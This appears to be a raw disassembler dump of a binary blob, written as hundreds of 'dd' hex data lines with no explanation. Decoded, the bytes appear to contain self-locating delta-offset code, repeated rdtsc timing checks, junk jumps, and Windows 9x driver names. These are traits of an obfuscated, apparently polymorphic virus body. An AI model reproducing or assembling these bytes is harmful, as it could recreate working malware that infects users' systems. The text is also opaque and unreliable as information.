19042444h, 46000000h, 0EFCFC356h, 99D50F1Fh, 3E98D09h dd 85C705E4h, 5E76D08h, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0ABC35242h, 149FF7DAh, 7E9D600h, 0BA000000h dd 9BC6CF94h, 0E9602FBCh, 0Bh, 5FAA7EE0h, 4103F6C8h, 0E9F994FCh dd 17h, 8E9h, 0D3055900h, 69CE2E0Eh, 0D9BD3160h, 5E408h dd 0B8000000h, 1, 6E728587h, 0C00B05E7h, 0B5FFF675h, 5E42A49h dd 6D00858Fh, 206A05E7h, 95FFFF6Ah, 5E42429h, 10CDBD83h dd 740005E4h, 0FF006A08h, 0E410C195h, 0DDBD8305h, 105E430h dd 80680D74h, 6A000000h, 2995FFFFh, 6A05E424h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0F456C356h, 1B36D6A6h, 858915DEh, 5E42869h, 1B8D0Fh dd 890F0000h, 15h, 10E9h, 38237300h, 79B713E2h, 2C78BC76h dd 3B16FB0Dh, 0F5C02BCBh, 2824548Bh, 1880FF9h, 0FC000000h dd 1A5D8589h, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0D303E8C3h, 666010ECh, 9D29FA8Bh dd 5E41D51h, 3CBEF961h, 0F8000000h, 24247403h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8AC35545h, 6D8D3160h dd 6605E409h, 858B60ADh, 5E410C9h, 36195B3h, 6A242444h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0E702C353h, 890F98BDh, 7, 1860Fh, 89F90000h dd 0E412FD9Dh, 860F9005h, 0Ch, 68E0Fh, 8F0F0000h, 0 dd 50525050h, 0F525052h, 0F585A31h, 870F31h, 5A000000h dd 0F310F58h, 68Bh, 870F00h, 5A000000h, 0E8609058h, 8 dd 2DC09768h, 775196D3h, 5F75E880h, 61D6B70Fh, 32C5BD29h dd 408B05E4h, 0BF0F6078h, 0BD8361D1h, 5E76D08h, 34850F00h dd 0E9000001h, 0Fh, 8DA1AF80h, 0EF406B4Fh, 0A4077446h dd 506504A0h, 8E0F5250h, 15h, 10E9h, 0F8B60400h, 0D83EC648h dd 58A0A8F5h, 0AE93DD04h, 0E9310FA8h, 11h, 0AF1EB8FDh dd 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h, 89585A55h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 2D4B36C3h, 0F60117Ch, 689h, 0F5BD8B00h, 905E416h, 0E4267585h dd 8BF56105h, 6A2C2444h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E966C353h, 0Eh, 0DB3B86C7h dd 601D4FBh, 0AB46DC1Fh, 0E9908E76h, 0Fh, 12AD9ECh, 0DFD5CDBCh dd 5A8F679Bh, 507A86D4h, 8E9h, 0F699CB00h, 6C7ECAA2h, 6A9043h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 672782C3h, 37FA6F9Bh, 15B58909h, 0F05E400h, 0A81h, 0BD296000h dd 5E41CF9h, 8D616160h, 0E73AAC85h, 0C860F05h, 0F000000h dd 681h, 5852900h, 0FF05E420h, 319D89D0h, 305E404h, 6A282444h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0A755C352h, 0B7B97EE1h, 890F604Fh, 12h, 0DE9h dd 11988200h, 773E1F58h, 7399AED2h, 0B70FEBF9h, 5E961C1h dd 0E000000h, 32AAB3ADh, 0F518408Bh, 859D8940h, 8905E40Dh dd 0E76D0485h, 0BE905h, 56A10000h, 92A91B8h, 3FFF91Fh dd 6E918h, 0A8D70000h, 0BCDC7DF2h, 81666058h, 600BA3DFh dd 2AA58589h, 616105E4h, 6A78708Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0FEEEC353h dd 137387Eh, 0E42B359Dh, 0DE905h, 0E7AE0000h, 9F46D819h dd 0F191216Dh, 600C497Eh, 4E28166h, 35BD8986h, 6105E416h dd 6A1CC683h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0DA42C351h, 6A96F5h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0CE922C3h dd 0F1000000h, 0AE441AA4h, 313BC49Bh, 0F6A0F2Eh, 128Fh dd 0DE900h, 0DA690000h, 0F7D619DDh, 40FC2DCBh, 81EA3096h dd 24247Ch, 0F100000h, 0E787h, 0C860F00h, 0F000000h, 68Fh dd 5952900h, 9005E417h, 8870Fh, 66600000h, 60ACCCBAh, 60506161h dd 8E8h, 559CBD00h, 0B97EE1A7h, 9E9B7h, 0D7F60000h, 40094577h dd 5FAB77DDh, 0EEC7BE66h, 6A9061h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 67415CC3h, 0F600285h dd 0BF66DFB7h, 8B6173A7h, 0E9282444h, 10h, 0D43EAA47h dd 0DF4AAB5Ah, 3B9966E6h, 0ADC4B5F4h, 0E9525050h, 13h dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh, 0F630E6Eh dd 0EE931h, 243B0000h, 9A350C25h, 72215CBAh, 6E588A4Dh dd 489585Ah, 0A5B50924h, 8D05E424h, 0E73AAC85h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F8D0FF8Dh, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0C1C350A0h, 0E974D74Dh dd 7, 9BD4253Ch, 0E98347DAh, 14h, 4F943AA8h, 8A871C08h dd 4A92E00Ah, 0C350A0B0h, 74D74DC1h, 24247403h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 17C35747h, 0DCC0E028h dd 0FC513411h, 31BDBD8Dh, 6A05E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 868286C3h, 5C8CAC88h dd 8B605273h, 0DB501F8h, 6105E41Ah, 505360ADh, 61F95F5Fh dd 24247C81h, 10000000h, 126870Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B7A34AC3h dd 9A06C209h, 503FD52Dh, 12830Fh, 52500000h, 860Fh, 310F0000h dd 310F5250h, 585A585Ah, 0F240489h, 683h, 71BD0100h, 8B05E427h dd 0F282444h, 0C89h, 68D0F00h, 29000000h, 0E40FE595h, 81666005h dd 897AC6D0h, 0E4110985h, 60906105h, 0BF665250h, 310F656Fh dd 585AE28Ah, 8B0F5061h, 12h, 52505250h, 585A310Fh, 830F310Fh dd 0 aZxrj db 'ZX░j',0 db 51h, 0E8h, 3 dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 8102C351h, 6E9h, 5DC38C00h, 89A32B77h, 0E4313D95h, 95316005h dd 5E41F9Dh, 32B9858Bh, 8D6105E4h, 0E73AAC85h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0AD2C18A9h, 0CEF6DDF9h, 0BD897801h, 5E40889h, 2759B529h dd 0D0FF05E4h, 13E9h, 0AB9FB00h, 557036FDh, 0E758C953h dd 84D7893h, 8B590EAh, 24244403h, 10E860h, 8D590000h, 1312A8F7h dd 0E5B71FA7h, 0EB294377h, 8D8998D8h, 5E43101h, 860F5Eh dd 61000000h, 658D29ABh, 0FC05E411h, 0FA81h, 820F0001h dd 6DDh, 0CC5BD89h, 0BD8D05E4h, 5E41E09h, 8160ADF5h, 770F62F0h dd 0F9BA6639h, 7C816199h, 2424h, 870F1000h, 0EFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h, 6B11DDA2h dd 91850912h, 5005E42Dh, 0AE9h, 35C98600h, 3E859BB5h, 8967AB1Dh dd 0CE92404h, 17000000h, 0B9677558h, 0E28155Eh, 896E8EF5h dd 0E42D5DBDh, 24448B05h, 0FE9F828h, 3C000000h, 0DBB90A5Dh dd 0E010CD1h, 392F7F4Ch, 50908F25h, 0C18A6052h, 310F5250h dd 0F61585Ah, 68D0F31h, 0F000000h, 82h, 50585A00h, 6E9h dd 19CF8D00h, 90C23E70h, 0AC858DF8h, 6A05E73Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0F168C350h, 5F0ED217h, 799D2B60h, 0E905E42Ah, 0Ah, 5B676743h dd 8EAA7786h, 961C155h, 0E4176595h, 8890F05h, 0F000000h dd 280h, 0FF616000h, 0F99D89D0h, 305E431h, 0E9242444h dd 0Eh, 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 0F909CE7h dd 0C8Fh, 7E900h, 928D0000h, 0EE494035h, 8A6050DDh, 860FDEh dd 61000000h, 5D952990h, 0AB05E426h, 251D9501h, 0BD8D05E4h dd 5E4179Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0FDC35747h, 1A56432Eh, 0EF6128EEh, 0DE9h, 72869C00h dd 20BB1EACh, 6C841723h, 8E9D5E1h, 66000000h, 3F8653FCh dd 0AD9E0B00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 1AC35747h, 7EA890Dh, 35BD898Ah, 8105E427h, 28247Ch dd 0F100000h, 12287h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B649F8EDh, 0F17D596Bh dd 0CE94212h, 0EC000000h, 6D1A1F14h, 3D52A2AEh, 50639CC3h dd 0C860Fh, 840F0000h, 6, 810Fh, 4890000h, 50006A24h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 1287F4FDh, 8B43B888h, 6A2C2444h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 907BC357h dd 11E95250h, 64000000h, 0BE2E7E7Ch, 0DCE1D5C7h, 8822A560h dd 71060B28h, 5250310Fh, 8E9h, 2F124C00h, 55904AF2h, 50310FF3h dd 5A310F52h, 5A585A58h, 11E95058h, 29000000h, 0C3CA593Eh dd 0B6EED83h, 0F47F6B9Ch, 34891F19h, 9D853190h, 8D05E42Ah dd 0E73AAC85h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 4561DE4Fh, 303BE573h dd 0FBB96099h, 89081AA6h, 0E41225BDh, 0D0FF6105h, 0F59D89F5h dd 305E411h, 89282444h, 0E41D69BDh, 6AAB05h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1F0E92C3h dd 47497B54h, 0F28B6660h, 2759B589h, 0F96105E4h, 48DFF5Eh dd 8305E76Dh, 0E76D04BDh, 0A750005h, 0B58DC033h, 5E77B9Dh dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h, 502C2444h dd 3AAC858Dh, 0D0FF05E7h, 28244403h, 8ADF8B97h, 0E76D0085h dd 74C08405h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h dd 74D03B5Ah, 0C6835E0Fh, 5D85FF04h, 0E905E41Ah, 0FFFFFF5Dh dd 49BD895Eh, 6005E426h, 115D850Bh, 0F86105E4h, 0AE9h dd 24D5B000h, 0A1CE56CFh, 8B9F797Eh, 0E41A5D85h, 0DE905h dd 0DB930000h, 0DC9DDE13h, 641EDDCh, 0D106B45Fh, 52006AE0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0F4286B97h, 0B2CBF600h, 1FD18589h, 850305E4h, 5E4179Dh dd 2B898509h, 0BE05E4h, 29000000h, 0E42405B5h, 6A9605h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 561823C3h, 0BD29F8D1h, 5E400DDh, 6AAD66h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E0C109C3h dd 56006A02h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0ACADB1D9h, 0F0ACCC43h, 0F0815360h, 48D4FC4h dd 0C081665Ah, 361620Ch, 0E431BD85h, 0F96FC05h, 183h, 0FADF800h dd 1888h, 13E900h, 0C0910000h, 0D3C5A67h, 2479F50Bh, 5E7B73B3h dd 0D8A1A0A7h, 247C817Eh, 24h, 0E9870F10h, 0F000000h, 683h dd 0F19D8900h, 9005E431h, 61F98B60h, 0E9525050h, 9, 46B38904h dd 0E5B5F7F0h, 50310F0Dh, 8C0F52h, 0F000000h, 800F31h dd 5A000000h, 90585A58h, 24448BFCh, 50006A28h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0BAACAECFh dd 314892FEh, 0E42101BDh, 860F9005h, 0Ch, 6840Fh, 8C0F0000h dd 0 dd 0D820F50h, 0E9000000h, 8, 0D834125Bh, 2B7F681Bh, 11E9FC90h dd 0EA000000h, 14ABECBCh, 15C3848Ch, 6806803Bh, 0B46D18A0h dd 3AAC858Dh, 860F05E7h, 6, 1BF19589h, 0D0FF05E4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DCC35141h, 8469CA5Fh dd 0F7F9E7CEh, 2318589h, 8D8905E4h, 5E40805h, 24244403h dd 10DDB501h, 448905E4h, 6A1C24h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 85C64AC3h, 5E42A49h dd 7285C700h, 5E76Eh, 0C7000000h, 0E76D0885h, 5, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6AD1A785h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0D15CC350h, 0FBAF70Fh, 88Ch, 2810F00h dd 60000000h, 0B9858961h, 6105E422h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0A0C35545h, 5A98757Bh, 819D89F7h dd 0F05E425h, 68Ch, 499D8900h, 0F805E421h, 6A0008C2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0AF42C350h, 0BD858B13h, 6A05E431h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9A1C353h dd 30BC6E84h, 9D895B90h, 5E4086Dh, 50006A4Ah, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 1DBD09CFh dd 6005E431h, 30BE6652h, 9D895B6Fh, 5E40205h, 4D26B61h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 22C35040h dd 911F71C2h, 0F8705567h, 9509C203h, 5E430B5h, 8D8B6096h dd 5E42649h, 27999D89h, 0AD6105E4h, 13E9h, 0B9CEFE00h dd 97DECD67h, 23362EE6h, 0CC3B114Dh, 77146424h, 24247C81h dd 10000000h, 118870Fh, 8D890000h, 5E41C95h, 14E990h, 39A20000h dd 7F5A10D2h, 4B6282Dh, 9F51B23h, 0A22EDA90h, 6050EBD2h dd 0CCBFB966h, 0FB84BE66h, 0E9FC9061h, 0Fh, 0AE8A9379h dd 29AF5801h, 0DCC28FDFh, 8B281C1Bh, 6A282444h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 52F7C351h, 3C52BB60h, 525050F8h, 0FE960h, 0A3600000h dd 47F07685h, 0B1417EB9h, 0E2D339A5h, 10BB666Ch, 310F61B4h dd 6E95250h, 0E1000000h, 87DB17C0h, 0F310FC3h, 87h, 5A585A00h dd 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0B9C35242h, 29682F6h, 95858928h, 8D05E430h, 0E73AAC85h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 7190E631h, 0F436197Dh, 0F6022C6h, 68Fh dd 0B5BD0300h, 0F05E423h, 28Dh, 615B5700h, 7E9D0FFh, 0C8000000h dd 0E835CAE3h, 31E9EFD8h, 1FFFFFDh, 0E41FC995h, 68858D05h dd 6A05E781h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3987C350h, 1F9260Dh, 0E402B595h dd 52505005h, 28F0Fh, 61600000h, 5060310Fh, 5A310F52h dd 9E958h, 0B2200000h, 81E6505Dh, 6187ED72h, 489585Ah dd 0BE924h, 0A0BA0000h, 89B37Ah, 7DB51F75h, 35FF64B5h dd 0 dd 48BF9FCh, 8589FC24h, 5E41771h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 98C35343h, 8529BB93h, 5E41F15h dd 258964h, 0FC000000h, 7FAF858Dh, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 7354D7C3h dd 108F0F4Ah, 0E9000000h, 0Bh, 30B4E1BDh, 39115BB8h, 89112427h dd 6A0160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 412929C3h, 228E9AAh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B2F9B8C3h dd 0FE9409Ch, 0D3000000h, 0F16C7455h, 9A0E27F3h, 94A094A5h dd 0DB8B1E7Dh, 0E8h, 0ED815D00h, 5E77FA8h, 12FF9CBCh, 0DDBD8300h dd 5E430h, 858B1874h, 5E41191h, 8B0000C6h, 0E41FED85h dd 0C605h, 24195FFh, 0FF6005E4h, 0E7690CB5h, 10858D05h dd 5005E769h, 6B08858Dh, 0FF5005E7h, 0E427D595h, 0CC48305h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 268F0344h, 379BD89h, 6A05E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0CB52D8C3h dd 419B31FEh, 12E924h, 27780000h, 8D7B58BDh, 511AFB11h dd 8EEB87F3h, 0D6548CC4h, 6B08B58Dh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2AD8BDC3h dd 0F69A399Ah, 0F8B392Dh, 683h, 55852900h, 8D05E416h, 0E40501BDh dd 618D8905h, 8005E424h, 840F003Eh, 59h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 27C35343h, 399BD09h dd 0F5A405E4h, 0FFFFCEE9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 890B1F8Bh dd 0E4106D9Dh, 6830F05h, 1000000h, 0E4075585h, 60C02B05h dd 0AA61FCFCh, 1EC8A60h, 0E4176595h, 7B86105h, 0E9000000h dd 0Bh, 57C7203Fh, 40701B40h, 0C7E4537Ah, 0E4154985h, 105h dd 8D8DF800h, 5E44C30h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E8C35646h, 0FF98F5Ch, 173B728Fh, 8B66606Ch dd 0E1FF61F7h, 8E9h, 0E1CB9B00h, 8F94FA7Ah, 245C8B21h dd 0E8550Ch, 5D000000h, 8172ED81h, 838B05E7h, 0B8h, 690C8589h dd 858D05E7h, 5E77FA1h, 0B88389h, 335D0000h, 6AC3C0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0EA4E5EC3h, 0D3119566h, 0B509391Ah, 5E408DDh, 10890Fh dd 850F0000h, 0Ah, 5E9h, 0C60CC000h, 6A60038Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 117EC352h, 9857AF06h, 490F3CCh, 18D0Fh, 8DF80000h, 0E783CA85h dd 0DE905h, 6F9F0000h, 7B67473Eh, 409BAAD2h, 903C9A3Fh dd 10E9h, 65DAE100h, 535FBBCBh, 6331D63Bh, 8733868Fh, 0F6050ABh dd 585h, 8901BA00h, 3EB87D04h, 616BA0A9h, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0CE95Fh, 9F690000h, 0BAD45E56h, 0AB7E4356h, 0B5019CCEh dd 5E40485h, 35FF64h, 0E9000000h, 0Ch, 40938F16h, 22052E87h dd 836C528h, 327DBD89h, 896405E4h, 25h, 0E8F0F00h, 60000000h dd 1049BD8Bh, 9D8B05E4h, 5E414EDh, 5F858D61h, 0F505E784h dd 1AE99589h, 608905E4h, 4D9D2901h, 0C605E424h, 0E42A4985h dd 95314F05h, 5E42A69h, 70B26668h, 0F5250F1h, 68Ch, 840F00h dd 0F000000h, 0F525031h, 84h, 50310F00h, 5A310F52h, 5A585A58h dd 24348158h, 0FB8C64Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 47C35040h, 8E428F5Fh, 953179BDh, 5E41789h dd 26F5B5FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 9D2940C3h, 5E4254Dh, 9E9h, 0BF186200h dd 96DC0FB0h, 858D66F4h, 5E76D30h, 6AD0FFFCh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0C9C1C357h, 0AA36972Eh, 58235347h, 0CBE9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 5A457ED5h, 0C56F2C92h, 0DE923h, 90EA0000h, 0F46208B5h dd 6D63AF52h, 8B67E99Dh, 550C245Ch, 0E8h, 0ED815D00h, 5E783D4h dd 28E5858Bh, 858905E4h, 5E426F5h, 2379858Bh, 858905E4h dd 5E43185h, 0FB9858Bh, 858905E4h, 5E40375h, 2A4985C6h dd 0C70005E4h, 0E76E7285h, 5, 5F858D00h, 8905E784h, 0B883h dd 0C0335D00h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 41D68B99h, 19852959h dd 0E905E417h, 12h, 0C873924Bh, 762E260Ah, 7306ED4Bh, 9DEC2EFCh dd 0F8F83612h, 12FF74BCh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0BC564D06h dd 1A016058h, 51BD89h, 6E905E4h, 0C3000000h, 0CFFDEDA0h dd 58F6489h, 0 dd 60FAB360h, 3D8D89FCh, 6105E41Bh, 4C48361h, 70DBD89h dd 0E86105E4h, 0Ah, 1EE1C7CAh, 78D38F56h, 8159EF0Dh, 67D9C1h dd 0A5B58B00h, 6805E424h, 19D7h, 759D8B60h, 6605E411h dd 6172C0BFh, 31B5895Bh, 8B05E417h, 0F9BF0F01h, 5FDE881h dd 0BD8B66F4h, 5E40D95h, 9787E881h, 8B6008DFh, 2D858BF3h dd 6105E42Ch, 0EB85F081h, 0BF66080Ch, 0B5052B6h, 0E4299DB5h dd 0F018F05h, 80h, 2E98300h, 81F54949h, 1EBh, 0B4850F00h dd 29FFFFFFh, 0E41C898Dh, 4934EB05h, 474D5346h, 56202052h dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h dd 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 724h, 0DE9h, 36615100h, 0FF6B1C0Ch, 9AF4AA85h dd 0F5609CE3h, 6685C7F8h, 5E785h, 0F000000h, 1481h, 0FE900h dd 352D0000h, 27AC71B1h, 0EB8FFEE1h, 65509256h, 6AC68BC9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 8BEDC353h, 0FCABD7DAh, 0FCD8B70Fh, 6A10E8C1h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 7684C353h, 9CB660FCh, 0C8C16661h, 8589FC08h dd 5E7856Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 63C35343h, 592F1FCFh, 0CBC16669h, 8820F08h, 0F000000h dd 284h, 83616000h, 850F40FBh, 42h, 6E9h, 0EE1B2600h, 8D2E741Fh dd 0E7853EBDh, 0B1E9F905h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B709C352h dd 0E935D49Fh, 6, 0F8466B05h, 0FB83F878h, 33850F0Dh, 0F5000000h dd 0EE9h, 1B05100h, 0EF721BCAh, 999B498h, 8DB39FACh, 0E78546BDh dd 1800F05h, 0F8000000h, 157E9h, 0F7816000h, 48BFDAFh dd 9826B9BEh, 0FB836104h, 54850F01h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8DCAC350h, 0E7854EBDh, 860F6005h, 0 dd 97F08166h, 0DE9618Dh, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AE7DC351h dd 83B333F2h, 850F2AFBh, 84h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0C3C35646h, 891A609h, 66D9B160h dd 1BF8C781h, 0CFBE6061h, 5211851Ah, 59CA8B66h, 56BD8D61h dd 0E905E785h, 14h, 0F3D63D77h, 47DF7182h, 5409D14Eh, 77FDA53Dh dd 4E005C4Bh, 1880Fh, 0E9F90000h, 84h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0E5C35242h, 81F75CF0h, 3F7DA711h dd 0F27FB83h, 35285h, 6E900h, 0CEC20000h, 4436A995h, 6800F60h dd 0F000000h, 85h, 5FE78100h, 6163A340h, 855EBD8Dh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0E3278EC3h, 2E94FB9Bh, 890FAF74h, 7, 1840Fh, 0F8F80000h dd 856EBD89h, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 5E2C53C3h, 6734CFD2h, 66605C1Eh dd 0E9402ABAh, 11h, 0EF6D95AAh, 0F29D0C0Dh, 0F7E1BEC0h dd 617654ECh, 8C66616Dh, 890F60C8h, 6, 0DCCAF681h, 880F1596h dd 2, 24616160h, 50006A03h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0B2234DD5h, 32717F0Eh dd 0C00ADAD6h, 1B0850Fh, 81600000h, 197050DFh, 0B58D6162h dd 5E78B4Eh, 0BE9h, 0CBA81600h, 9CECFFBCh, 0C3EE777Ah dd 8BD9858Bh, 0F6005E7h, 381h, 8CDE8000h, 5D27BB66h, 78A0F61h dd 60000000h, 60F2BF0Fh, 0E9506161h, 13h, 77A285C7h, 23F8A7A6h dd 0CBB4326Fh, 82B9C348h, 891A7B6Fh, 0FF82414h, 188Eh dd 5E566000h, 0FE9h, 89CAFF00h, 0C4A66C9h, 0DFA61F50h dd 9169F162h, 4C010F61h, 6AFE24h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 85CE32C3h, 0FD8CFBF3h dd 0F8B5298h, 1082h, 0BE900h, 76780000h, 1FBCEBADh, 92DC2B72h dd 6A5A8Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8375FAC3h, 816024C2h, 1BC738E3h, 71F08121h dd 61693AEEh, 0FC728966h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 75C35545h, 89249F07h, 0CEC1DA93h, 50006A10h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0F4C5F662h, 5CB9D5AFh, 728966EEh, 840FF902h, 1, 6A04CDF5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 6F43C351h, 124EB6D2h, 8E9h, 7B9E0E00h, 0B3C4D39Bh dd 830F6013h, 6, 0CA29DE81h, 0F8615333h, 0BDE9h, 0BE86000h dd 9E000000h, 0B2974AF3h, 0E33704BAh, 8166146Bh, 5F3746D9h dd 0FA8B6660h, 6E8h, 0AE0CA800h, 5F388473h, 858B6161h dd 5E78BD9h, 7E9h, 0F440100h, 812F3720h, 8B4EB58Dh, 6A05E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 89A91EC3h, 41976F6Eh, 0D3B76060h, 0F39B07BFh, 31B16108h dd 58858D61h, 6A05E745h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0E957C351h, 0F9593499h dd 0C830Fh, 0F600000h, 87h, 62BE6600h, 0D0FF61A1h, 0DE9h dd 4313CE00h, 2391E3A5h, 0DF005316h, 8589CC1Ch, 5E78566h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E5C35242h dd 9847D953h, 6118269Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 1EC35141h, 0E9205336h, 8, 0B6CA6AC3h dd 780D2376h, 8566858Bh, 0C3F505E7h, 0D8E0Fh, 0BF600000h dd 1EFEF0ACh, 870Fh, 60610000h, 0D9BD83F5h, 5E78Bh, 56850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 2F8F62C3h, 99B2A489h, 0FD7486Fh, 484h, 0E18A6000h dd 18F0F61h, 0F9000000h, 8BD985C7h, 13F05E7h, 810F0001h dd 10h, 0BE9h, 